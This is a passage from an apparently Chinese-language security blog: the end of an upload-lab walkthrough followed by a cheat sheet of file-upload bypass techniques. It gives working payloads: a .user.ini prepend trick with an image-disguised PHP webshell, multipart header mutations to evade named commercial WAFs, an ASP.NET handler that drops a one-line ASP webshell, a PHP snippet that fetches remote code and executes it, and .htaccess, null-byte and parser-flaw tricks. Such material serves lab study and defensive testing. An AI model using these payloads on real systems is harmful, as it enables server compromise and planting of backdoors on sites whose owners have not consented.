12             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
13                 $is_upload = true;
14             }else{
15                 $msg = '上傳失敗!';
16             }
17         }else{
18             $msg = '禁止保存爲該類型文件!';
19         }
20 
21     } else {
22         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
23     }
24 }

原理同Pass-11,上傳的文件名用0x00繞過。改爲19.php【二進制00】.1.jpg

 

 ------------------

於2019.10.24補充

今天在先知社區看到

https://xz.aliyun.com/t/6091

https://xz.aliyun.com/t/6587

學習到了利用.user.ini來上傳php後門

利用條件:

  1. 服務器腳本語言爲PHP
  2. 服務器使用CGI/FastCGI模式
  3. 上傳目錄下要有可執行的php文件

利用步驟:

1.首先上傳一個這樣的.user.ini

GIF89a
auto_prepend_file=1.jpg

2.而後在上傳這樣一個圖片馬 1.jpg

GIF89a
<script language='php'>system('whoami');</script>

不過須要上傳的目錄下有一個可執行的php文件

上傳完畢直接訪問這個可執行php文件便可

 

------------------------------

於2019.11.07日補充

在微信公衆號上看到了一篇繞waf的文件上傳

WAF繞過

安全狗繞過

1.繞過思路:對文件的內容,數據。數據包進行處理。

關鍵點在這裏Content-Disposition: form-data; name="file"; filename="ian.php"
將form-data;            修改成~form-data;

2.經過替換大小寫來進行繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
將 Content-Disposition    修改成content-Disposition
將 form-data              修改成Form-data
將 Content-Type           修改成content-Type

3.經過刪減空格來進行繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
將 Content-Disposition: form-data           冒號後面 增長或減小一個空格
將 form-data; name="file";                  分號後面 增長或減小一個空格
將 Content-Type: application/octet-stream   冒號後面 增長一個空格

4.經過字符串拼接繞過

看Content-Disposition: form-data; name="file"; filename="yjh3.php"
將 form-data 修改成   f+orm-data
將 from-data 修改成   form-d+ata

5.雙文件上傳繞過

<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上傳">
</form>

6.HTTP header 屬性值繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
咱們經過替換form-data 爲*來繞過
Content-Disposition: *; name="file"; filename="yjh.php"

7.HTTP header 屬性名稱繞過

源代碼:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
繞過內容以下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
刪除掉ontent-Type: image/jpeg只留下c,將.php加c後面便可,可是要注意額,雙引號要跟着c.php".

8.等效替換繞過

原內容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改後:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary後面加入空格。

9.修改編碼繞過

使用UTF-1六、Unicode、雙URL編碼等等

WTS-WAF 繞過上傳

原內容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回車
Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度雲上傳繞過

百度雲繞過就簡單的不少不少,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話本身合成圖片馬用Xise鏈接便可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里雲上傳繞過

源代碼:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改以下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
沒錯,將=號這裏回車刪除掉Content-Type: image/jpeg便可繞過。

360主機上傳繞過

源代碼:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
繞過內容以下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改成 Content-空格Disposition

MIME類型繞過

上傳木馬時,提示格式錯誤。直接抓包修改Content-Type 爲正確的格式嘗試繞過

文件內容檢測繞過

抓包,在正常圖片末尾添加一句話木馬

屢次上傳Win特性繞過

屢次上傳同一個文件,windows會自動更新補全TEST (1).php。
有時會觸發條件競爭,致使繞過。

條件競爭繞過

經過BURP不斷髮包,致使不斷寫入Webshell,再寫入速度頻率上超過安全軟件查殺頻率,致使繞過。

CONTENT-LENGTH繞過

針對這種類型的驗證,咱們能夠經過上傳一些很是短的惡意代碼來繞過。上傳文件的大小取決於,Web服務器上的最大長度限制。咱們可使用不一樣大小的文件來fuzzing上傳程序,從而計算出它的限制範圍。

文件內容檢測繞過

針對文件內容檢測的繞過,通常有兩種方式,
  1.製做圖片馬
  2.文件幻術頭繞過

垃圾數據填充繞過

修改HTTP請求,再之中加入大量垃圾數據。

黑名單後綴繞過

文件擴展名繞過

Php除了能夠解析php後綴 還能夠解析php2.php3,php4 後綴

ashx上傳繞過

cer,asa,cdx等等沒法使用時候。 解析後就會生成一個test.asp的馬,你就能夠鏈接這個test.asp 密碼爲:put <%@ WebHandler Language="C#" Class="Handler" %> using System; using System.Web; using System.IO; public class Handler : IHttpHandler { public void ProcessRequest (HttpContext context) { context.Response.ContentType = "text/plain"; //這裏會在目錄下生成一個test.asp的文件 StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp")); //這裏是寫入一句話木馬 密碼是:ptu file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close(); } public bool IsReusable { get { return false; } } }

特殊文件名繞過

好比發送的 http包裏把文件名改爲 test.asp. 或 test.asp_(下劃線爲空格),這種命名方式
在windows系統裏是不被容許的,因此須要在 burp之類裏進行修改,而後繞過驗證後,會
被windows系統自動去掉後面的點和空格,但要注意Unix/Linux系統沒有這個特性。

Windows流特性繞過

php在windows的時候若是文件名+"::$DATA"會把::$DATA以後的數據當成文件流處理,不會檢測後綴名.且保持"::$DATA"以前的文件名。

白名單後綴繞過

00截斷繞過上傳

php .jpg   空格二進制20改成00
IIS 6.0 目錄路徑檢測解析繞過
上傳路徑改成
XXX/1.asp/

htaccess解析漏洞

上傳的jpg文件都會以php格式解析
.htaccess內容:
AddType    application/x-httpd-php    .jpg

突破MIME限制上傳

方法:找一個正常的可上傳的查看其的MIME類型,而後將馬子的MIME改爲合法的MIME便可。

Apache解析漏洞

1.一個文件名爲test.x1.x2.x3的文件,apache會從x3的位置開始嘗試解析,若是x3不屬於apache可以解析的擴展名,那麼apache會嘗試去解析x2,直到可以解析到可以解析的爲止,不然就會報錯。
2.CVE-2017-15715,這個漏洞利用方式就是上傳一個文件名最後帶有換行符(只能是\x0A,如上傳a.php,而後在burp中修改文件名爲a.php\x0A),以此來繞過一些黑名單過濾。

IIS解析漏洞

IIS6.0在解析asp格式的時候有兩個解析漏洞,一個是若是目錄名包含".asp"字符串,
那麼這個目錄下全部的文件都會按照asp去解析,另外一個是隻要文件名中含有".asp;"
會優先按asp來解析
IIS7.0/7.5是對php解析時有一個相似於Nginx的解析漏洞,對任意文件名只要在URL
後面追加上字符串"/任意文件名.php"就會按照php的方式去解析;

Nginx解析漏洞

解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有這兩種漏洞,一個是對任意文件名,在後面添加/任意文件名.php
的解析漏洞,好比本來文件名是test.jpg,能夠添加爲test.jpg/x.php進行解析攻擊。
還有一種是對低版本的Nginx能夠在任意文件名後面添加%00.php進行解析攻擊。

解析漏洞

Content-Disposition: form-data; name="file";  filename=php.php;.jpg

前端限制繞過

1.使用BURP抓包修改後重放
2.或者使用瀏覽器中元素審查,修改容許或禁止上傳文件類型。

下載繞過

遠程下載文件繞過

<?php $str = file_get_contents('http://127.0.0.1/ian.txt'); $str($_post['ian']); ?>

文件包含繞過

上傳圖片木馬
$x=$_GET['x'];
include($x);
訪問:http://www.xxxx.com/news.php?x=xxxxxx.jpg

 

推薦閱讀:

      http://0-sec.org/

相關文章
相關標籤/搜索